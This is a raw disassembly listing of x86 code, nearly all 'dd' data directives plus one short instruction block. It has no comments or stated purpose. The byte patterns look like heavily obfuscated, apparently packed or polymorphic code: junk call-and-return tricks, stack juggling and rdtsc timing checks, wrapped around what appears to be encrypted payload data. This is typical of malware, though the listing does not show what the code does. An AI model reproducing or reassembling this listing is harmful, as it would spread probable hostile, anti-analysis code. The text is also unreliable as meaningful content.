		dd 61B75BDh, 8B535006h,	4895EFEh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD8B3417h
		dd 6060B85h, 161FBE66h,	0F37BE781h, 6A570Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0B9C35646h, 2D419D89h
		dd 6A0606h, 2EFD9589h, 858D0606h, 609C426h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 7AC35040h, 350F7F6Ch
		dd 0C681669Bh, 0C0830A88h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0DEAF1744h
		dd 735BA2C1h, 0B58BEEA3h, 6062371h, 0F858D89h, 0BF900606h
		dd 0AA88076h, 6A9050h, 0D799589h, 6A0606h, 0FFF78B66h
		dd 62F9D95h, 159D8D06h,	81060995h, 9D608FE7h, 6AD3FF50h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 403EC356h, 0E1ACCBB8h, 7E995h, 27B20000h
		dd 93AD6ED7h, 0DCD6817Eh, 0FF156717h, 60F5D85h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7CA5B258h, 60055E29h, 6E9h, 0BBC16900h, 0F63EACDh, 0E961DFBFh
		dd 0DA4h, 0E8h,	0ED815D00h, 609C430h, 0DE9h, 6AFC4F00h
		dd 5EAF97ADh, 1E142DB3h, 0BD81E193h, 6062495h, 7D0h, 14C860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A73AADC3h, 9F91279Ch, 199D8BCEh,	8B060626h
		dd 60731BDh, 0E38106h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0C485C350h
		dd 5A880FDh, 14999D89h,	0DB0B0606h, 5A850Fh, 0BD830000h
		dd 609C279h, 2A840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7E33C352h
		dd 55E9h, 0C41EBF00h, 8B662715h, 7985C7F3h, 10609C2h, 0E9000000h
		dd 0Ch,	37FA6F9Bh, 6B384209h, 8D4911CBh, 2DE9h,	0FEB70F00h
		dd 0C27985C7h, 609h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 32D2B3C3h, 9D8DF9F9h
		dd 6062619h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0EEC35747h, 4864A829h, 33F08732h, 62CADB5h, 2381F906h
		dd 0FFFFFEFFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	43C35343h, 9DC93E99h, 662ECE2Dh, 394EDF81h, 6C5BD8Bh
		dd 8C660606h, 0A5BD03DBh, 0E906060Eh, 0Ah, 0B4923275h
		dd 0CC46F76Bh, 0C3F680C1h, 73840F04h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 4D6FC357h, 0C4CC5B25h, 95FFF51Ah, 6061FF1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0A7C35747h, 13E907h
		dd 0B49B0000h, 0DBC189B2h, 0E2D93419h, 9414536Ah, 9E70B971h
		dd 0B8609025h, 4D0E711Eh, 53BF5061h, 905D0857h,	33F9BD8Bh
		dd 0FEE90606h, 0F000003h, 58Ah,	0CF816600h, 0B018ECh, 0E6F8BF0Fh
		dd 219D8970h, 0E4060621h, 55006A71h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0BDE8C06Ch
		dd 5035A223h, 8BD8B60Fh, 60EF9BDh, 0A1BD8906h, 0BA060633h
		dd 6, 79E0CE81h, 0C38B3F33h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 27C35545h, 0B192F1FDh, 6C34C681h
		dd 0E8C11914h, 0EE904h,	0F27A0000h, 94C99727h, 6B8E68D4h
		dd 0CDCCF251h, 6AE2F766h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F228C355h,	3B09EEFDh
		dd 0D810C084h, 22D5B503h, 8B660606h, 0FD82BFEh,	58Ch, 0CE816600h
		dd 81661545h, 505A67D6h, 1C89F38Bh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0DFD34495h
		dd 4DA9BA09h, 2495B5FFh, 6A0606h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 5B3C88C3h, 0C995FFF5h
		dd 6A06061Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3100C351h, 4771065h, 8F0F00B0h
		dd 0Ah,	5E9h, 0D165A800h, 70E62856h, 0AE8h, 0F5BA0D00h
		dd 3D2A4D92h, 668A47ABh, 5ECF36BEh, 6890Fh, 0BD890000h
		dd 6061ED1h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0EA742BC3h, 830F613Ch, 255h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0C6C35545h, 0E97B0625h
		dd 10h,	0D796112Eh, 16DB6817h, 0E272B4DBh, 94B09ED5h, 0D8B60FF5h
		dd 1351B58Bh, 6BA0606h,	0E9000000h, 0Eh, 5DBF9B97h, 9C56ED9Bh
		dd 24A56AC4h, 0C38B2A1Fh, 271BD03h, 0E8C10606h,	1CD78104h
		dd 6654D74Dh, 0D82BE2F7h, 6E9h,	0A331B00h, 2B81643Fh, 627C5B5h
		dd 6A5806h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 14E898C3h, 0F3000000h, 2181A735h,	0AD6F641Dh
		dd 3066DFCAh, 29DCF81Ah, 311B317Eh, 634298Dh, 0BD8B5E06h
		dd 6062DB1h, 880FD82Bh,	18Dh, 28E59D89h, 7B90606h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 9D10C355h, 0BD8B3B6Eh, 6061A41h, 6A00C183h
		dd 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C3C0C356h, 8E0FFCh,	0F8000000h, 860FD93Bh, 12Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FBC35545h, 8E9h
		dd 7516AD00h, 0CCD7D5h,	0D98C665Eh, 12E8h, 2E850B00h, 0FE1B161Bh
		dd 0CB8E0801h, 4BB99AAAh, 50A68D4Eh, 5F5E6160h,	0F04C1F6h
		dd 0BC84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0F9237ADh, 0FE8BF0B7h, 6860Fh, 0BD8B0000h
		dd 60615C1h, 1FF195FFh,	820F0606h, 6, 28C5BD8Bh, 95090606h
		dd 6060081h, 57006A5Bh,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0EA79C388h, 0DB82AD57h, 0C32B7F40h
		dd 8343Dh, 42860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0D7F8C356h,	60405679h
		dd 12E92D99h, 0B4000000h, 6B80B6BCh, 84DEA8B3h,	4A16B845h
		dd 841483DCh, 23E90Bh, 0B70F0000h, 6AC08BFFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2E62C357h, 8BC38B3Ah, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0EBD57178h, 32A5F084h
		dd 13E9h, 6DDC900h, 2F46E8E3h, 8FB77926h, 0D715E72Ah, 0B1104F0Ch
		dd 0F88B6660h, 6810Fh, 0B5030000h, 6060895h, 7185C761h
		dd 0B3060621h, 6A149A11h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 387AC355h, 547BCF3h
		dd 0BAF48AF1h, 9840Fh, 820F0000h, 3, 8BF0BF0Fh,	0BD81F8C0h
		dd 6062495h, 7D0h, 5D850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 57B3C8C3h
		dd 3AF5D2FCh, 0D3D9D09h, 0BD030606h, 606033Dh, 249585FFh
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 7129B9C3h, 0D2C78166h, 8E0F2Bh, 0FF000000h
		dd 62495B5h, 8B66FC06h,	0C995FFF1h, 8906061Ah, 62CA58Dh
		dd 8B666006h, 0D9D89F2h, 6106062Dh, 6A4090h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0DA1E3DC3h
		dd 9D89FCECh, 6061395h,	2469BD83h, 0F000606h, 0D484h, 79B50300h
		dd 8306062Dh, 6206DBDh,	840F0006h, 0C1h, 429BD8Bh, 95FF0606h
		dd 6062469h, 169B589h, 0C00B0606h, 0A7840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 6060A4C3h, 1539B58Bh, 0B58B0606h, 60631A9h, 13E861h
		dd 0A5890000h, 16D7DFC1h, 0BD54897Fh, 0F9448B77h, 0BD7BA8E6h
		dd 0F5F18044h, 0BE66615Eh, 8D8D49CEh, 6064ED2h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C0C35141h, 0F2DBD8Bh
		dd 5B80606h, 8B000000h,	62C79BDh, 6AE1FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4083C353h, 895B6897h, 62B1195h, 55BD8306h, 60631h, 535840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A436C9C3h, 81D5DE1h, 0ADE7815Ah,	83696D15h
		dd 6206DBDh, 840F0006h,	4FFh, 4C1B58Bh,	0B70F0606h, 158D8DF7h
		dd 6A06062Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 6040C356h, 66922D99h, 0C71E9ABFh
		dd 0B27C8401h, 0AE944h,	6B8D0000h, 9F52448Eh, 0C1C25299h
		dd 0CFCB0181h, 6A1499h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0ED71A0C3h, 906C25C4h, 699D8987h
		dd 8B06061Dh, 441C7FEh,	0CE706B34h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 71C35747h, 25FFCB59h, 8D8973F5h
		dd 6061C49h, 10044181h,	8B31D6D7h, 622F5BDh, 5E906h, 50FF0000h
		dd 6A90B5A8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 343A48DCh, 2D15858Dh, 880F0606h
		dd 3, 50FEB70Fh, 310F5250h, 489585Ah, 859D2924h, 0FF060620h
		dd 6315595h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 503811F8h, 8D8DCE0Bh, 6062D15h, 14E9h
		dd 4662B200h, 9B3AA941h, 4595F2F0h, 34CDB5EFh, 4AB809EDh
		dd 1C7AEh, 8B000000h, 441C7FEh,	0
		dd 20ED9D89h, 0C00B0606h, 48840Fh, 8B660000h, 0D28D8DF8h
		dd 6006064Eh, 11E9h, 99479000h,	9A5412Ah, 81069BE0h, 94316192h
		dd 858BA5DCh, 6062051h,	5B861h,	0FE90000h, 46000000h, 0CFC9B029h
		dd 2E7F4525h, 2C4153ADh, 0E1FF7AC4h, 30DD8501h,	8D8D0606h
		dd 6062D15h, 17459D89h,	1C70606h, 44AA727Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 8FC35343h, 0C18CBFC4h
		dd 4BEAE540h, 95B503A1h, 8106062Ah, 99CFCB01h, 0E7816614h
		dd 41C7F81Ah, 78753C04h, 0DF8166CEh, 4181406Dh,	0D6D71004h
		dd 57006A31h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F8BF0F7Ah, 0F28B006Ah, 2D15858Dh, 50900606h
		dd 12E9h, 0A2B83100h, 7F8D51ECh, 0E6BEBFA6h, 0E2281957h
		dd 903CA4E3h, 3DDBD8Bh,	12E90606h, 0E2000000h, 0B50245F6h
		dd 8A98C502h, 0E5C804A5h, 855C3EE2h, 5595FF69h,	8D060631h
		dd 62D158Dh, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 35D23C31h, 7E9h, 74CB6000h, 74BB424Ah
		dd 1C7h, 0BD0B0000h, 606266Dh, 441C7h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 7EE8C351h, 0FFAC69E2h, 4A0BEC1Ch, 13E8h, 3280A700h
		dd 95F014CFh, 0D75DEFBh, 0B5C47D2Ah, 0B2E37094h, 14E960h
		dd 6E420000h, 65F0C472h, 57AA66A9h, 0D93EA96Dh,	0EA4A0C04h
		dd 616090DAh, 0C00B5E61h, 23840Fh, 8B500000h, 62005BDh
		dd 8D8D5E06h, 6064ED2h,	2E53A8BEh, 5B83Ah, 0F6810000h
		dd 3D71E965h, 8B66E1FFh, 158D8DF8h, 6A06062Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9DA1C356h, 0A5D573B5h, 0C9FFFF45h, 1B6DBD89h, 89570606h
		dd 607B195h, 1C75F06h, 54CA95A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0CC35646h, 181E62Ah, 1499CFCBh
		dd 1A4943BFh, 441C749h,	0CE5F5969h, 25CD9509h, 41810606h
		dd 0D6D71004h, 51006A31h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0F1B58BF5h, 6A060606h
		dd 14E800h, 46D20000h, 53917331h, 6C88FC5h, 8E78FEE0h
		dd 215FD9FBh, 85893293h, 6061BE1h, 15858D5Fh, 8B06062Dh
		dd 62151BDh, 50509006h,	5A310F52h, 6A9058h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B6B010C3h
		dd 0B1E4F51Ch, 315595FFh, 81660606h, 8DE6BEDFh,	62D158Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0A4CDA58Dh, 1C7C7F6h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h
		dd 6DB58988h, 52060633h, 441C75Eh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 75C35545h
		dd 54324FDEh, 28E6812Ch, 0B5D5E88h, 40840FC0h, 0FC000000h
		dd 4ED28D8Dh, 0B50B0606h, 6062365h, 885B589h, 5B80606h
		dd 29000000h, 621D9BDh,	6AE1FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 68F9C355h
		dd 3F5913Dh, 0F27EE9CAh, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 867D4CC3h, 5EE4FCB1h
		dd 190D04EBh, 8DE96FCEh, 0C0000005h, 5A78DAC9h,	0FE1C7E2Dh
		dd 0A0BE2087h, 3F5DBFE4h, 3FE6043h, 851E647Ah, 24830523h
		dd 0C4DFA4C2h, 69424462h, 0FC31B207h, 33CE4CC1h, 9A591D33h
		dd 4361BFECh, 0E402643Fh, 1CAB09A2h, 749A097Ch,	4444A0E6h
		dd 19A80667h, 789E0D79h, 0B00E9DEAh, 1EE3C371h,	0BBD93B68h
		dd 5D7BDDC8h, 3217F26h,	0AAC82685h, 2F760FDDh, 0B31172D1h
		dd 92B2F195h, 0CC5BB9F6h, 0C47C2697h, 3865C62Dh, 0F7249C0Ah
		dd 5F24DDC9h, 0BC53E244h, 0C57F2CECh, 58E60CC2h, 6417752Eh
		dd 2DC5595Ch, 739A0CAAh, 0A8EE527Dh, 75EAh, 384BEB00h
		dd 97F10F6Dh, 0FA5BBA18h, 0EC9A10D4h, 11AE61BFh, 0F32DC47Ch
		dd 34BC5155h, 0BCA8ED75h, 360A3125h, 496FD836h,	1C1h, 0ED9AFD00h
		dd 0E71C2DBEh, 2DC47BD6h, 7C10ADE2h, 83E42DC4h,	297E0626h
		dd 0E50B6CCBh, 99EA8A19h, 0C6D384Bh, 9B294FAEh,	4563C1ECh
		dd 0D0DFA93Fh, 24D2116Fh, 9D087F82h, 84691D3Bh,	2BF8A277h
		dd 3E6D1B2Ch, 0BF2081E0h, 0E89A095Dh, 483F5DBBh, 596FF5Dh
		dd 28861D65h, 0CD2B780Ah, 0CBE70D6Eh, 475C26DBh, 396E16B6h
		dd 86567CDBh, 0F4851E68h, 1B793254h, 0ACCA96BCh, 2D780BD9h
		dd 0AADF70CFh, 2DC47C13h, 861778D9h, 0AB099EE6h, 8D39354Ch
		dd 9F1576AEh, 0DBF7AD79h, 0E4BE42CBh, 0A6A9A8EDh, 0E5000000h
		dd 88FCE89Ah, 0D26D1D65h, 0D233A6C2h, 90F51371h, 0E79DBB19h
		dd 0C5268501h, 6D3C4967h, 0D8CEEC0Fh, 0F33A83B8h, 59BA2DC4h
		dd 9D09B7F8h, 0C2C61E64h, 0C72887E5h, 683B4765h, 2C91C6D7h
		dd 0C02DC4F3h, 4F6D395Fh, 3DDD6E35h, 6F3B6148h,	6B1ABAB9h
		dd 419F067Dh, 0C42381E2h, 0E924829Eh, 0A8EDF217h, 5C50h
		dd 0E89A8C00h, 443F5DBBh, 7BC1FC31h, 0F0792DC4h, 0B7097D77h
		dd 0B51677D4h, 3E918D24h, 0D5B152C6h, 0E5CA2305h, 0B9DF409Dh
		dd 0FAACCAEDh, 0C3F87B07h, 2DC49DFAh, 0FEADDAFAh, 0C0E041A0h
		dd 187ADBC8h, 0BEED9AC4h, 0AAF98D2Dh, 0BB05B884h, 4D2DC47Bh
		dd 0DA16F7AFh, 8DA8ED74h, 1, 0BCEB9AC9h, 5D46405Eh, 50C735CCh
		dd 0A00B0F48h, 8EA5447Ch, 6C92A16Bh, 5F4775A0h,	23AF9A31h
		dd 0B8FD69A0h, 22810492h, 0D90966C0h, 0C53A19A4h, 154ADB2Dh
		dd 2DC539A8h, 6A8AEB4Ch, 9A2B8C1Bh, 0C338FF65h,	6721C12Bh
		dd 60E2EF92h, 0A0019190h, 0BD4EAF7Ah, 79866B1Dh, 3AD6EE5Ch
		dd 0AC789EFFh, 9C0B7D1Dh, 59EE876h, 0F7B4D474h,	44143A99h
		dd 0E5436026h, 0DF43BF56h, 0DCF3B2D3h, 8EE16E0Eh, 59895FDDh
		dd 6E91B718h, 33CAA251h, 14EDB9D7h, 11A83972h, 0E438580h
		dd 33CB04AFh, 8CCDE445h, 1D1F7CDh, 0F685DB72h, 53342A56h
		dd 0F8308DC2h, 63C433CAh, 0CCD7AF3Dh, 6D36506Eh, 0AEF8A60Fh
		dd 0C9B93353h, 0BC1D7CDAh, 0F1A8485Ah, 5EBFAEF3h, 0FB000001h
		dd 7001015Eh, 0C262913Bh, 0C422832Bh, 61C3E0A6h, 0DFA94343h
		dd 0D9377611h, 5CBB197Ah, 77F9DFBh, 7348A5DDh, 516CFCA1h
		dd 97F654B5h, 5F94A536h, 33CA995Eh, 3B072D8Eh, 0DD3B6A1Dh
		dd 7CDAC9BFh, 0B9079FCDh, 0FB06A04Eh, 0ACBE208Bh, 0AEF39244h
		dd 5223h, 89295F00h, 0EE4DABFAh, 0A3E7FEC8h, 7C10DD12h
		dd 0E3442DC4h, 7BEBD285h, 9CAD2DC4h, 96AE9105h,	325887ADh
		dd 0EF009016h, 9414A9DEh, 77D82DC4h, 0C493FBC2h, 6A90F12Dh
		dd 0B44545A0h, 0CC900CA3h, 0AFB568C3h, 1876689h, 6CCD2DC5h
		dd 0B76A0Ah, 5E960000h,	62414201h, 85A504h, 8BEC4BA9h
		dd 339E63FAh, 33DECC4Fh, 3BD90E0Dh, 312BC347h, 98A83FD0h
		dd 0DDAED3EFh, 58ABC91Fh, 0B31B6041h, 56B4EF93h, 0E705D1F7h
		dd 8EC3D49Fh, 33CB202Fh, 0EAF64C5h, 1B33CB20h, 81E03E6Dh
		dd 0D162C324h, 20328BC0h, 61C233CBh, 394D6B3Bh,	39590C6Ah
		dd 6733CB20h, 0E2A45D49h, 20596499h, 3A9B33CBh,	48E877D9h
		dd 0AB0A683Bh, 864F94h,	96BC5715h, 0DE6FB7CCh, 0D3C1C7A9h
		dd 1BAC0D31h, 0A9B0A7Bh, 0D441E8D5h, 85AB0C2Dh,	0C0EB9BB9h
		dd 9D093762h, 3ACBCB28h, 0DD706B05h, 0A608692Bh, 95107717h
		dd 3C6B1937h, 0F81E7FDEh, 1015E34h, 0AB353B70h,	54EB2BCDh
		dd 83592B96h, 3C7102ADh, 33CDEA81h, 21EC1273h, 0EA625B90h
		dd 319233CDh, 0D6347311h, 9AB81677h, 3F5DBFECh,	0C6F72C47h
		dd 2633CDE9h, 530664C5h, 4A0D2429h, 14EDB967h, 0B9D73972h
		dd 6280DECDh, 5DF48522h, 10DC200Bh, 8753798Eh, 318F1E69h
		dd 0D6346F13h, 0AF1195B3h, 0AF525482h, 4C6ACCD7h, 7313713Ah
		dd 8, 2BCB5A9Fh, 662A505Bh, 62C0EF9Ah, 0B694244h, 0B10F96EDh
		dd 58B6F593h, 0FD5B483Ah, 0A200A3DFh, 45A30084h, 0E9475E27h
		dd 93F1BCCBh, 0E189511Bh, 4C181h, 0E9830000h, 240C8704h
		dd 2404895Ch, 5E08950h,	4, 42Dh, 24048700h, 243C895Ch
		dd 5E9068h, 24148900h, 1E1068h,	24048900h, 0E50E4E68h
		dd 0D1355809h, 2D4F3D3Dh, 40CE61C5h, 6858C789h,	2AEAh
		dd 81242489h, 42404h, 835A0000h, 3C8904ECh, 8428F24h
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 7Eh
		dd 0E7F977EBh, 9D6E0B8h, 0FFC50306h, 1B521E0h, 5F49B560h
		dd 4CD7EF1Eh, 5C83253Eh, 5A2DA533h, 661D1560h, 97D58D6Fh
		dd 0D6BB7B04h, 4C2AE001h, 0C504DD5Fh, 9A67D718h, 0A3DA847Bh
		dd 9E9AC3Fh, 0FF5480Fh,	97FBEA3Dh, 83E75077h, 5D042D4Fh
		dd 0C832328h, 0DD90521Bh, 13FB1415h, 0B2609568h, 0A6EF371Bh
		dd 0FC18B17h, 4EBF3B7h,	0
		dd 12E8h, 49CECE00h, 14020A3Ch,	0ABE67AC5h, 99C95256h
		dd 50DDCD54h, 3171BD89h, 5E5E0606h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 93C35646h, 0C520BE66h, 2369858Dh
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0C7CB81C3h, 758D8958h, 50060603h,	0C241BE66h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 39C1C352h, 732B6777h, 0B58BBB73h
		dd 6062765h, 0A1B58B56h, 5E060614h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 8642D7C3h
		dd 0BE3E3448h, 9B58B57h, 6A060602h, 0D9B50B00h,	8D060601h
		dd 9DA0B85h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 2383B9A2h, 9E9h, 7A66F900h, 9379BA39h
		dd 0C083AE8Ah, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E95F3AF5h, 10h, 8D3F294Fh
		dd 821A320Dh, 0DDB05D52h, 3E37F9A7h, 50525050h,	16BE6652h
		dd 60310FBBh, 0F585A61h, 89585A31h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 989770C3h
		dd 0BE66006Ah, 6A4AAFh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0ADC35141h, 99BD6EE7h, 16850Fh, 11E90000h
		dd 18000000h, 0BB9C7B19h, 76F6B5DEh, 40732A63h,	0C5A962A7h
		dd 2F9D95FFh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 983809C3h, 0D18D2987h, 8D060631h
		dd 995159Dh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C1BD017Ah, 0E9060623h, 0Eh, 0E018BD67h
		dd 66A36B90h, 3F8653FCh, 0D3FF0B00h, 1C159529h,	85FF0606h
		dd 6060F5Dh, 8958D31h, 9D090606h, 60621F5h, 9F5E9h, 0E800h
		dd 815D0000h, 9DA15EDh,	89BD0106h, 0E9060617h, 0Eh, 0AB5D4F0Fh
		dd 123A3627h, 0D770E89Dh, 0BD81A701h, 6062495h,	7D0h, 13A860Fh
		dd 0B5010000h, 6061125h, 4419D8Bh, 8B660606h, 0E381F0h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 895C357h, 0BF0F0142h, 11E853F3h
		dd 5F000000h, 4BB3DC9Ah, 0AFDDA808h, 39EF1924h,	1770A865h
		dd 11F1B58Bh, 5E5E0606h, 0BF78B66h, 7E850FDBh, 83000000h
		dd 9D7CFBDh, 840F0006h,	35h, 0B4C0BBBEh, 1FBE667Bh, 82E922h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0FA21D4C3h, 0B58B52E9h, 6061B89h,	0CF85C75Eh
		dd 10609D7h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0BE5DC352h,	3284CD24h
		dd 2BE9h, 85850100h, 23060625h,	607F9B5h, 0CF85C706h, 609D7h
		dd 0E9000000h, 0Ah, 0E867031h, 0B6CB2ACBh, 9589D015h, 6062481h
		dd 4419D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8B5398C3h, 60FBDB5h, 0B58B5E06h
		dd 60614CDh, 0FEFF2381h, 8D89FFFFh, 606177Dh, 0E8DB8C66h
		dd 8, 0B318E0Eh, 8F9C8FD9h, 0E95B589h, 665E0606h, 0C3F6F28Bh
		dd 0AB840F04h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 1011C350h, 6CDFD043h
		dd 0FF0731B2h, 61FF195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 850F6018h, 19h, 14E9h
		dd 45495900h, 0DB52FABh, 0A2E123EAh, 0C7EF673Bh, 0EE70E98Ch
		dd 0D9D8BA6h, 61060629h, 0F08B6653h, 0F38B505Eh, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0D251C355h, 0BDF9CDB8h, 5056314Ah, 6E8h
		dd 42210C00h, 5E0F8B60h, 2BE95E5Eh, 66000004h, 0B0F18Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 21C35545h
		dd 8166E9FAh, 0E601E1DEh, 50006A70h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 508B536Fh
		dd 0F308AC44h, 65B50B0Ch, 0E4060604h, 52006A71h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 743C5372h, 0F6FC5B75h, 0BED8B60Fh, 3F64995Ah, 6BAh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0D128BEA9h, 11EDB58Bh, 0F18B0606h, 6AC38Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0C1CA4BC3h, 6A04E8h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0B300D7C3h, 0E862ED2Fh, 0Eh, 86049BAh
		dd 6F27BAA7h, 0EAD87DD6h, 3BBE86C0h, 5E06E834h,	6AE2F766h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8122C350h, 31C4C0F6h, 0D82BF879h,	0FCD7BE66h
		dd 0E890F50h, 50000000h, 0F5E5752h, 8D0F31h, 5A000000h
		dd 241C8958h, 2495B5FFh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0D583ABC3h, 2C8FE935h
		dd 3840F5Ah, 66000000h,	0BD89F78Bh, 6060085h, 1AC995FFh
		dd 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
